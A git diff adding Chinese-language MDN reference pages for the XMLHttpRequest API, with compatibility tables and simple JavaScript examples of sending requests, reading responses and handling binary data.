+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 在IE10前的版本请求完成时, XMLHttpRequest.responseText 的值为只读。

diff --git a/files/zh-cn/web/api/xmlhttprequest/responsetype/index.html b/files/zh-cn/web/api/xmlhttprequest/responsetype/index.html new file mode 100644 index 0000000000..28233b4c48 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/responsetype/index.html @@ -0,0 +1,47 @@ +--- +title: XMLHttpRequest.responseType +slug: Web/API/XMLHttpRequest/responseType +tags: + - XMLHttpRequest.responseType +translation_of: Web/API/XMLHttpRequest/responseType +--- +

{{APIRef('XMLHttpRequest')}}

+ +

XMLHttpRequest.responseType 属性是一个枚举类型的属性,返回响应数据的类型。它允许我们手动的设置返回数据的类型。如果我们将它设置为一个空字符串,它将使用默认的"text"类型。

+ +

在工作环境(Work Environment)中将responseType的值设置为"document"通常会被忽略. 当将responseType设置为一个特定的类型时,你需要确保服务器所返回的类型和你所设置的返回值类型是兼容的。那么如果两者类型不兼容呢?恭喜你,你会发现服务器返回的数据变成了null,即使服务器返回了数据。还有一个要注意的是,给一个同步请求设置responseType会抛出一个InvalidAccessError 的异常。

+ +

responseType支持以下几种值:

+ +

{{page("/zh-CN/docs/Web/API/XMLHttpRequestResponseType", "取值")}}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('XMLHttpRequest', '#the-responsetype-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequest.responseType")}}

+ +

了解更多

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/responseurl/index.html b/files/zh-cn/web/api/xmlhttprequest/responseurl/index.html new file mode 100644 index 0000000000..4e70133f8b --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/responseurl/index.html @@ -0,0 +1,90 @@ +--- +title: XMLHttpRequest.responseURL +slug: Web/API/XMLHttpRequest/responseURL +tags: + - XMLHttpRequest.responseURL +translation_of: Web/API/XMLHttpRequest/responseURL +--- +

{{APIRef('XMLHttpRequest')}}

+ +

只读属性XMLHttpRequest.responseURL返回响应的序列化URL,如果URL为空则返回空字符串。如果URL有锚点,则位于URL # 后面的内容会被删除。如果URL有重定向, responseURL 的值会是经过多次重定向后的最终 URL 。

+ +

实例

+ +
var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/test', true);
+xhr.onload = function () {
+  console.log(xhr.responseURL); // http://example.com/test
+};
+xhr.send(null);
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#the-responseurl-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(37.0)}}{{CompatGeckoDesktop("32.0")}}{{CompatNo}}{{CompatOpera("24")}}{{CompatSafari(8.0)}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

 

diff --git a/files/zh-cn/web/api/xmlhttprequest/responsexml/index.html b/files/zh-cn/web/api/xmlhttprequest/responsexml/index.html new file mode 100644 index 0000000000..ffd22d7896 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/responsexml/index.html @@ -0,0 +1,135 @@ +--- +title: XMLHttpRequest.responseXML +slug: Web/API/XMLHttpRequest/responseXML +tags: + - XMLHttpRequest.responseXML +translation_of: Web/API/XMLHttpRequest/responseXML +--- +

{{APIRef('XMLHttpRequest')}}

+ +

XMLHttpRequest.responseXML 属性是一个只读值,它返回一个包含请求检索的HTML或XML的{{domxref("Document")}},如果请求未成功,尚未发送,或者检索的数据无法正确解析为 XML 或 HTML,则为 null。默认是当作“text / xml” 来解析。当 {{domxref("XMLHttpRequest.responseType", "responseType")}} 设置为 “document” 并且请求已异步执行时,响应将被当作 “text / html” 来解析。responseXML 对于任何其他类型的数据以及 data: URLs 为 null。

+ +
+

responseXML 在这个属性的历史堪称神器,它可以同时在 HTML 和 XML 中工作

+
+ +

如果服务器没有明确指出 {{HTTPHeader("Content-Type")}} 头是 "text/xml" 还是 "application/xml", 你可以使用{{domxref("XMLHttpRequest.overrideMimeType()")}} 强制 XMLHttpRequest 解析为 XML.

+ +

语法

+ +
var data = XMLHttpRequest.responseXML;
+
+ +

+ +

 {{domxref("Document")}} 中包含从 {{domxref("XMLHttpRequest")}} 中收到的 HTML 节点或解析后的 XML 节点,也可能是在没有收到任何数据或数据类型错误的情况下返回的 null.

+ +

例外

+ +
+
InvalidStateError
+
{{domxref("XMLHttpRequest.responseType", "responseType")}} 既不是 "document" 也不是空字符串 (接收的数据应是XML 或 HTML).
+
+ +

示例

+ +
var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+// 如果已指明,responseType 必须是空字符串或 "document"
+xhr.responseType = 'document';
+
+// overrideMimeType() 用来强制解析 response 为 XML
+xhr.overrideMimeType('text/xml');
+
+xhr.onload = function () {
+  if (xhr.readyState === xhr.DONE) {
+    if (xhr.status === 200) {
+      console.log(xhr.response);
+      console.log(xhr.responseXML);
+    }
+  }
+};
+
+xhr.send(null);
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('XMLHttpRequest', '#the-responsexml-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)[1]Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] 在 Firefox 51 之前, 解析收到数据的错误会在 {{domxref("Document")}} 的顶部添加一个 <parsererror> 节点,并且在任何状态下返回 Document 。这是不符合规范的。从 Firefox 51开始,这种情况可以正确的返回 null。

+ +

了解更多

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/send/index.html b/files/zh-cn/web/api/xmlhttprequest/send/index.html new file mode 100644 index 0000000000..6b96c92ebd --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/send/index.html @@ -0,0 +1,261 @@ +--- +title: XMLHttpRequest.send() +slug: Web/API/XMLHttpRequest/send +tags: + - AJAX + - API + - HTTP request + - Method + - XHR + - XMLHttpRequest + - send +translation_of: Web/API/XMLHttpRequest/send +--- +

{{APIRef('XMLHttpRequest')}}

+ +

XMLHttpRequest.send() 方法用于发送 HTTP 请求。如果是异步请求(默认为异步请求),则此方法会在请求发送后立即返回;如果是同步请求,则此方法直到响应到达后才会返回。XMLHttpRequest.send() 方法接受一个可选的参数,其作为请求主体;如果请求方法是 GET 或者 HEAD,则应将请求主体设置为 null。

+ +

如果没有使用 {{domxref("XMLHttpRequest.setRequestHeader", "setRequestHeader()")}} 方法设置 {{HTTPHeader("Accept")}} 头部信息,则会发送带有 "* / *" 的{{HTTPHeader("Accept")}} 头部。

+ +
+

Note: 请注意不要使用一个简单的AarryBuffer对象作为参数,ArrayBuffer已经不再是ajax规范的一部分,请改用ArrayBufferView(有关信息请参考兼容性列表。)

+
+ +

语法

+ +
XMLHttpRequest.send(body)
+ +

参数

+ +
+
body {{optional_inline}}
+
在XHR请求中要发送的数据体. 可以是: +
    +
  • 可以为 {{domxref("Document")}}, 在这种情况下,它在发送之前被序列化.
  • +
  • 为 XMLHttpRequestBodyInit, 从 per the Fetch spec (规范中)可以是 {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, 或者 {{domxref("USVString")}} 对象.
  • +
  • null
  • +
+ 如果body没有指定值,则默认值为 null .
+
+

返回值

+ +

undefined.

+ +

 例外

+ + + + + + + + + + + + + + + + + + +
ExceptionDescription
InvalidStateErrorsend() has already been invoked for the request, and/or the request is complete.
NetworkErrorThe resource type to be fetched is a Blob, and the method is not GET.
+
+
+ +
XMLHttpRequest.send();
+XMLHttpRequest.send(ArrayBuffer data);
+XMLHttpRequest.send(ArrayBufferView data);
+XMLHttpRequest.send(Blob data);
+XMLHttpRequest.send(Document data);
+XMLHttpRequest.send(DOMString? data);
+XMLHttpRequest.send(FormData data);
+
+ +

如果发送的数据是Document对象,需要在发送之前将其序列化。当发送一个Document对象时,Firefox 3之前的版本都是使用utf-8编码发送请求的;FireFox 3则使用由body.xmlEncoding指定的编码格式正确的发送文档,但如果未指定编码格式,则使用utf-8编码格式发送。

+ +

如果是一个nsIInputStream接口,它必须与nsIUploadChannel的setUploadStream()方法兼容。在这种情况下,将 Content-Length的头部添加到请求中,它的值则使用nsIInputStream接口的available()方法获取。任何报头包括在数据流顶部的都会被当做报文主体。所以,应该在发送请求即调用send()方法之前使用setRequestHeader() 方法设置 Content-Type头部来指定数据流的MIME类型。

+ +

发送二进制内容的最佳方法(如上传文件)是使用一个与send()方法结合的 ArrayBufferView 或者Blobs

+ +

案例: GET

+ +
var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+xhr.onload = function () {
+   // 请求结束后,在此处写处理代码
+};
+
+xhr.send(null);
+// xhr.send('string');
+// xhr.send(new Blob());
+// xhr.send(new Int8Array());
+// xhr.send({ form: 'data' });
+// xhr.send(document);
+
+ +

案例: POST

+ +
var xhr = new XMLHttpRequest();
+xhr.open("POST", '/server', true);
+
+//发送合适的请求头信息
+xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+
+xhr.onload = function () {
+    // 请求结束后,在此处写处理代码
+};
+xhr.send("foo=bar&lorem=ipsum");
+// xhr.send('string');
+// xhr.send(new Blob());
+// xhr.send(new Int8Array());
+// xhr.send({ form: 'data' });
+// xhr.send(document);
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注解
{{SpecName('XMLHttpRequest', '#the-send()-method', 'send()')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特点ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持{{CompatChrome(1)}}{{CompatGeckoDesktop("1.0")}}{{CompatIe('5')}}[2]
+ {{CompatIe('7')}}
{{CompatVersionUnknown}}{{CompatSafari('1.2')}}
send(ArrayBuffer){{CompatChrome(9)}}{{CompatGeckoDesktop("9.0")}}[1]{{CompatIe('10')}}{{CompatOpera('11.60')}}{{compatUnknown}}
send(ArrayBufferView){{CompatChrome(22)}}{{CompatGeckoDesktop("20.0")}}{{compatUnknown}}{{compatUnknown}}{{compatUnknown}}
send(Blob){{CompatChrome(7)}}{{CompatGeckoDesktop("1.9.2")}}{{CompatIe('10')}}{{CompatOpera('12')}}{{compatUnknown}}
send(FormData){{CompatChrome(6)}}{{CompatGeckoDesktop("2.0")}}{{CompatIe('10')}}{{CompatOpera('12')}}{{compatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特点AndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatUnknown}}1.0{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
send(ArrayBuffer){{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{compatUnknown}}
send(ArrayBufferView){{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{compatUnknown}}
send(Blob){{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{compatUnknown}}
send(FormData){{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{compatUnknown}}
+
+ +

[1] 发送一个简单的ArrayBuffer对象已不再是ajax规范一部分,也已经被弃用了。请使用 已被加入Gecko 20.0 {{geckoRelease("20.0")}}的ArrayBufferView

+ +

[2] 由于 Internet Explorer 7实现了标准的XMLHttpRequest,此功能通过ActiveXObject()实现。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html b/files/zh-cn/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html new file mode 100644 index 0000000000..fc7da39cfd --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html @@ -0,0 +1,153 @@ +--- +title: 发送和接收二进制数据 +slug: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data +tags: + - AJAX + - FileReader + - MIME + - XMLHttpRequest +translation_of: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data +--- +

使用JavaScript类型数组接受二进制数据

+ +

可以通过设置一个XMLHttpRequest对象的 responseType属性来改变一个从服务器上返回的响应的数据类型.可用的属性值为空字符串 (默认), "arraybuffer", "blob", "document","json" 和 "text". response属性的值会根据responseType属性包含实体主体(entity body), 它可能会是一个 ArrayBuffer, Blob, Document,JSON, string,或者为NULL(如果请求未完成或失败)

+ +

下例读取了一个二进制图像文件,并且由该文件的二进制原生字节创建了一个8位无符号整数的数组.注意,这不会解码图像,但会读取像素。 你需要一个png解码库(png decoding library)。

+ +
var oReq = new XMLHttpRequest();
+oReq.open("GET", "/myfile.png", true);
+oReq.responseType = "arraybuffer";
+
+oReq.onload = function (oEvent) {
+  var arrayBuffer = oReq.response; // 注意:不是oReq.responseText
+  if (arrayBuffer) {
+    var byteArray = new Uint8Array(arrayBuffer);
+    for (var i = 0; i < byteArray.byteLength; i++) {
+      // 对数组中的每个字节进行操作
+    }
+  }
+};
+
+oReq.send(null);
+
+ +

也可以通过给responseType属性设置为“blob”,将二进制文件读取为{{domxref("Blob")}}类型的数据。

+ +
var oReq = new XMLHttpRequest();
+oReq.open("GET", "/myfile.png", true);
+oReq.responseType = "blob";
+
+oReq.onload = function(oEvent) {
+  var blob = oReq.response;
+  // ...
+};
+
+oReq.send();
+ +

在老的浏览器中接受二进制数据

+ +

下面的load_binary_resource()方法可以从指定的URL那里加载二进制数据,并将数据返回给调用者.

+ +
function load_binary_resource(url) {
+  var req = new XMLHttpRequest();
+  req.open('GET', url, false);
+  //XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com]
+  req.overrideMimeType('text/plain; charset=x-user-defined');
+  req.send(null);
+  if (req.status != 200) return '';
+  return req.responseText;
+}
+
+ +

最为奇妙的操作在第五行,该行重写了默认的MIME类型,强制浏览器将该响应当成纯文本文件来对待, 使用一个用户自定义的字符集.这样就是告诉了浏览器,不要去解析数据,直接返回未处理过的字节码.

+ +
var filestream = load_binary_resource(url);
+var abyte = filestream.charCodeAt(x) & 0xff; // 扔掉的高位字节(f7)
+
+ +

上例从请求回来的二进制数据中得到偏移量为x处的字节.有效的偏移量范围是0到filestream.length-1.

+ +

查看 使用XMLHttpRequest下载文件 了解详情,查看下载文件.

+ +

发送二进制数据

+ +

XMLHttpRequest对象的send方法已被增强,可以通过简单的传入一个ArrayBuffer, {{ domxref("Blob") }}, 或者 {{ domxref("File") }}对象来发送二进制数据.

+ +

下例创建了一个文本文件,并使用POST方法将该文件发送到了服务器上.你也可以使用文本文件之外的其他二进制数据类型.

+ +
var oReq = new XMLHttpRequest();
+oReq.open("POST", url, true);
+oReq.onload = function (oEvent) {
+  // 上传完成后.
+};
+
+var bb = new BlobBuilder(); // 需要合适的前缀: window.MozBlobBuilder 或者 window.WebKitBlobBuilder
+bb.append('abc123');
+
+oReq.send(bb.getBlob('text/plain'));
+
+ +

将类型数组作为二进制数据发送

+ +

你可以将JavaScript类型数组作为二进制数据发送出去.

+ +
var myArray = new ArrayBuffer(512);
+var longInt8View = new Uint8Array(myArray);
+
+for (var i=0; i< longInt8View.length; i++) {
+  longInt8View[i] = i % 255;
+}
+
+var xhr = new XMLHttpRequest;
+xhr.open("POST", url, false);
+xhr.send(myArray);
+
+ +

上例新建了一个512字节的8比特整数的数组并发送它,当然,你也可以发送任意的二进制数据.

+ +
注意: 从Gecko 9.0 {{ geckoRelease("9.0") }}开始,添加了使用XMLHttpRequest发送 ArrayBuffer对象的功能.
+ +

提交表单和上传文件

+ +

请阅读此文

+ +

Firefox私有方法

+ +

下面的例子使用了POST请求,用Firefox私有的非标准方法sendAsBinary()将二进制数据以异步模式传输了出去.

+ +
var req = new XMLHttpRequest();
+req.open("POST", url, true);
+// 这里应该设置适当的MIME请求头
+req.setRequestHeader("Content-Length", 741);
+req.sendAsBinary(aBody);
+
+ +

第四行将Content-Length请求头设置为741,表示发送的数据长度为741个字节.你应该根据你要发送的数据的大小改变这个值.

+ +

第五行使用sendAsBinary()方法发送这个请求.

+ +

你也可以通过将一个{{ interface("nsIFileInputStream") }}对象实例传给send()方法来发送二进制内容,这样的话,你不需要自己去设置Content-Length请求头的大小,程序会自动设置:

+ +
// 新建一个文件流.
+var stream = Components.classes["@mozilla.org/network/file-input-stream;1"]
+                       .createInstance(Components.interfaces.nsIFileInputStream);
+stream.init(file, 0x04 | 0x08, 0644, 0x04); // file是一个nsIFile对象实例
+
+// 设置文件的MIME类型
+var mimeType = "text\/plain";
+try {
+  var mimeService = Components.classes["@mozilla.org/mime;1"]
+          .getService(Components.interfaces.nsIMIMEService);
+  mimeType = mimeService.getTypeFromFile(file); // file是一个nsIFile对象实例
+}
+catch (oEvent) { /* 丢弃异常,使用默认的text/plain类型 */ }
+
+// 发送
+var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"]
+                    .createInstance(Components.interfaces.nsIXMLHttpRequest);
+req.open('PUT', url, false); /* 同步模式! */
+req.setRequestHeader('Content-Type', mimeType);
+req.send(stream);
+
+ +

{{APIRef("XMLHttpRequest")}}

diff --git a/files/zh-cn/web/api/xmlhttprequest/setrequestheader/index.html b/files/zh-cn/web/api/xmlhttprequest/setrequestheader/index.html new file mode 100644 index 0000000000..2aaf964b5b --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/setrequestheader/index.html @@ -0,0 +1,109 @@ +--- +title: XMLHttpRequest.setRequestHeader() +slug: Web/API/XMLHttpRequest/setRequestHeader +tags: + - Reference + - XMLHttpRequests +translation_of: Web/API/XMLHttpRequest/setRequestHeader +--- +

{{APIRef('XMLHttpRequest')}}

+ +

XMLHttpRequest.setRequestHeader() 是设置HTTP请求头部的方法。此方法必须在  {{domxref("XMLHttpRequest.open", "open()")}} 方法和 {{domxref("XMLHttpRequest.send", "send()")}}   之间调用。如果多次对同一个请求头赋值,只会生成一个合并了多个值的请求头。

+ +

如果没有设置 {{HTTPHeader("Accept")}} 属性,则此发送出{{domxref("XMLHttpRequest.send", "send()")}} 的值为此属性的默认值*/* 。

+ +

安全起见,有些请求头的值只能由user agent设置:{{Glossary("Forbidden_header_name", "forbidden header names", 1)}}和{{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}.

+ +
+

自定义一些header属性进行跨域请求时,可能会遇到"not allowed by Access-Control-Allow-Headers in preflight response",你可能需要在你的服务端设置"Access-Control-Allow-Headers"。

+
+ +

语法

+ +
myReq.setRequestHeader(header, value);
+
+ +

参数

+ +
+
header
+
属性的名称。
+
value
+
属性的值。
+
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#the-setRequestHeader()-method', 'setRequestHeader()')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(1)}}{{CompatUnknown}}{{CompatIe('5')}}[1]
+ {{CompatIe('7')}}
{{CompatVersionUnknown}}{{CompatSafari('1.2')}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}1.0{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 使用ActiveXObject()实现的。Internet Explorer 7之后使用的是标准的XMLHttpRequest。

+ +

参考

+ +

使用XMLHttpRequest

diff --git a/files/zh-cn/web/api/xmlhttprequest/status/index.html b/files/zh-cn/web/api/xmlhttprequest/status/index.html new file mode 100644 index 0000000000..d248bf2090 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/status/index.html @@ -0,0 +1,79 @@ +--- +title: XMLHttpRequest.status +slug: Web/API/XMLHttpRequest/status +tags: + - API + - Error + - Property + - Reference + - XMLHttpRequest + - XMLHttpRequest 状态 + - result + - status +translation_of: Web/API/XMLHttpRequest/status +--- +
{{APIRef('XMLHttpRequest')}}
+ +
只读属性 XMLHttpRequest.status 返回了XMLHttpRequest 响应中的数字状态码。status 的值是一个无符号短整型。在请求完成前,status的值为0。值得注意的是,如果 XMLHttpRequest 出错,浏览器返回的 status 也为0。
+ +
 
+ +
status码是标准的HTTP status codes。举个例子,status 200 代表一个成功的请求。如果服务器响应中没有明确指定status码,XMLHttpRequest.status 将会默认为200
+ +

例子

+ +
var xhr = new XMLHttpRequest();
+console.log('UNSENT', xhr.status);
+
+xhr.open('GET', '/server', true);
+console.log('OPENED', xhr.status);
+
+xhr.onprogress = function () {
+  console.log('LOADING', xhr.status);
+};
+
+xhr.onload = function () {
+  console.log('DONE', xhr.status);
+};
+
+xhr.send(null);
+
+/**
+ * 输出如下:
+ *
+ * UNSENT(未发送) 0
+ * OPENED(已打开) 0
+ * LOADING(载入中) 200
+ * DONE(完成) 200
+ */
+
+ +

标准

+ + + + + + + + + + + + + + +
标准状态备注
{{SpecName('XMLHttpRequest', '#the-status-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequest.status")}}

+ +

其他相关资料

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/statustext/index.html b/files/zh-cn/web/api/xmlhttprequest/statustext/index.html new file mode 100644 index 0000000000..7935aab46b --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/statustext/index.html @@ -0,0 +1,70 @@ +--- +title: XMLHttpRequest.statusText +slug: Web/API/XMLHttpRequest/statusText +translation_of: Web/API/XMLHttpRequest/statusText +--- +
{{APIRef('XMLHttpRequest')}}
+ +
只读属性 XMLHttpRequest.statusText 返回了XMLHttpRequest 请求中由服务器返回的一个DOMString 类型的文本信息,这则信息中也包含了响应的数字状态码。不同于使用一个数字来指示的状态码XMLHTTPRequest.status,这个属性包含了返回状态对应的文本信息,例如"OK"或是"Not Found"。如果请求的状态readyState的值为"UNSENT"或者"OPENED",则这个属性的值将会是一个空字符串。
+ +
+ +
如果服务器未明确指定一个状态文本信息,则statusText的值将会被自动赋值为"OK"。
+ +

例子

+ +
var xhr = new XMLHttpRequest();
+console.log('0 UNSENT', xhr.statusText);
+
+xhr.open('GET', '/server', true);
+console.log('1 OPENED', xhr.statusText);
+
+xhr.onprogress = function () {
+  console.log('3 LOADING', xhr.statusText);
+};
+
+xhr.onload = function () {
+  console.log('4 DONE', xhr.statusText);
+};
+
+xhr.send(null);
+
+/**
+ * 输出如下:
+ *
+ * 0 UNSENT
+ * 1 OPENED
+ * 3 LOADING OK
+ * 4 DONE OK
+ */
+
+ +

标准

+ + + + + + + + + + + + + + +
标准状态备注
{{SpecName('XMLHttpRequest', '#the-statustext-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequest.statusText")}}

+ +

参考内容

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html b/files/zh-cn/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html new file mode 100644 index 0000000000..4da165b346 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html @@ -0,0 +1,237 @@ +--- +title: 同步和异步请求 +slug: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests +tags: + - XMLHttpRequest +translation_of: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests +--- +

XMLHttpRequest 支持同步和异步通信。但是,一般来说,出于性能原因,异步请求应优先于同步请求。

+ +

同步请求阻止代码的执行,这会导致屏幕上出现“冻结”和无响应的用户体验。

+ +

异步请求

+ +

如果你使用XMLHttpRequest发送异步请求,那么当请求的响应数据完全收到之时,会执行一个指定的回调函数,而在执行异步请求的同时,浏览器会正常地执行其他事务的处理。

+ +

例子:在控制台输出页面源文件

+ +

这个例子演示了如何进行一个简单的异步请求。

+ +
var xhr = new XMLHttpRequest();
+xhr.open("GET", "/bar/foo.txt", true);
+xhr.onload = function (e) {
+  if (xhr.readyState === 4) {
+    if (xhr.status === 200) {
+      console.log(xhr.responseText);
+    } else {
+      console.error(xhr.statusText);
+    }
+  }
+};
+xhr.onerror = function (e) {
+  console.error(xhr.statusText);
+};
+xhr.send(null);
+ +

第2行中指定第三个参数为true表示该请求应该以异步模式执行。

+ +

第3行创建一个事件处理函数对象,并将其分配给请求的onload属性。此处理程序查看请求的readyState,以查看事务是否在第4行完成,如果是,并且HTTP状态为200,则转储接收到的内容。如果发生错误,则显示错误消息。

+ +

第15行实际上启动了请求。只要请求的状态发生变化,就会调用回调程序。

+ +

例子:创建一个标准的方法来读取外部文件

+ +

在一些需求情况下,必须读取多个外部文件. 这是一个标准的函数. 该函数使用XMLHttpRequest对象进行异步请求.而且可以为每个文件读取完成后指定不同的回调函数.

+ +
function xhrSuccess() {
+    this.callback.apply(this, this.arguments);
+}
+
+function xhrError() {
+    console.error(this.statusText);
+}
+
+function loadFile(url, callback /*, opt_arg1, opt_arg2, ... */) {
+    var xhr = new XMLHttpRequest();
+    xhr.callback = callback;
+    xhr.arguments = Array.prototype.slice.call(arguments, 2);
+    xhr.onload = xhrSuccess;
+    xhr.onerror = xhrError;
+    xhr.open("GET", url, true);
+    xhr.send(null);
+}
+ +

用法:

+ +
function showMessage(message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", showMessage, "New message!\n\n");
+
+ +

实用函数loadFile的签名声明(i)要读取的目标URL(通过HTTP GET),(ii)成功完成XHR操作时执行的函数,以及(iii)任意列表的附加参数“通过“XHR对象到成功回调函数。

+ +

第1行声明XHR操作成功完成时调用的函数。它又调用已经分配给XHR对象(第7行)属性的loadFile函数(本例中为函数showMessage)的调用中指定的回调函数。提供给调用函数loadFile的附加参数(如果有的话)被“应用”到回调函数的运行中。

+ +

第5行声明XHR操作无法成功完成时调用的函数。

+ +

第7行存储XHR对象,成功回调函数作为loadFile的第二个参数给出。

+ +

第12行将参数赋给loadFile的调用。从第三个参数开始,收集所有剩余的参数,分配给变量xhr的arguments属性,传递给成功回调函数xhrSuccess,最终提供给函数调用的回调函数(在本例中为showMessage) xhrSuccess。

+ +

第15行为其第三个参数指定了true,表示该请求应该被异步处理。

+ +

第16行实际启动请求。

+ +

例子:使用超时

+ +

你可以使用一个超时设置,来避免你的代码为了等候读取请求的返回数据长时间执行.超时毫秒数可以通过为XMLHttpRequest对象的timeout 属性赋值来指定:

+ +
function loadFile(url, timeout, callback) {
+    var args = Array.prototype.slice.call(arguments, 3);
+    var xhr = new XMLHttpRequest();
+    xhr.ontimeout = function () {
+        console.error("The request for " + url + " timed out.");
+    };
+    xhr.onload = function() {
+        if (xhr.readyState === 4) {
+            if (xhr.status === 200) {
+                callback.apply(xhr, args);
+            } else {
+                console.error(xhr.statusText);
+            }
+        }
+    };
+    xhr.open("GET", url, true);
+    xhr.timeout = timeout;
+    xhr.send(null);
+}
+ +

你还可以为timeout事件的ontimeout事件句柄指定事件处理函数。

+ +

用法:

+ +
function showMessage (message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", 2000, showMessage, "New message!\n");
+ +

如上,我们指定的超时时间为 2000 ms。

+ +
+

timeout属性添加于Gecko 12.0  {{Gecko("12.0")}}。

+
+ +

同步请求

+ +
+

注意:从Gecko 30.0 {{ geckoRelease("30.0") }},Blink 39.0和Edge 13开始,主线程上的同步请求由于对用户体验的负面影响而被弃用。

+
+ +

同步XHR通常会导致网络挂起。但开发人员通常不会注意到这个问题,因为在网络状况不佳或服务器响应速度慢的情况下,挂起只会显示同步XHR现在处于弃用状态。建议开发人员远离这个API。

+ +

同步XHR不允许所有新的XHR功能(如timeoutabort)。这样做会调用InvalidAccessError

+ +

例子:HTTP 同步请求

+ +

这个例子演示了如何进行一个简单的同步请求.

+ +
var request = new XMLHttpRequest();
+request.open('GET', 'http://www.mozilla.org/', false);
+request.send(null);
+if (request.status === 200) {
+  console.log(request.responseText);
+}
+
+ +

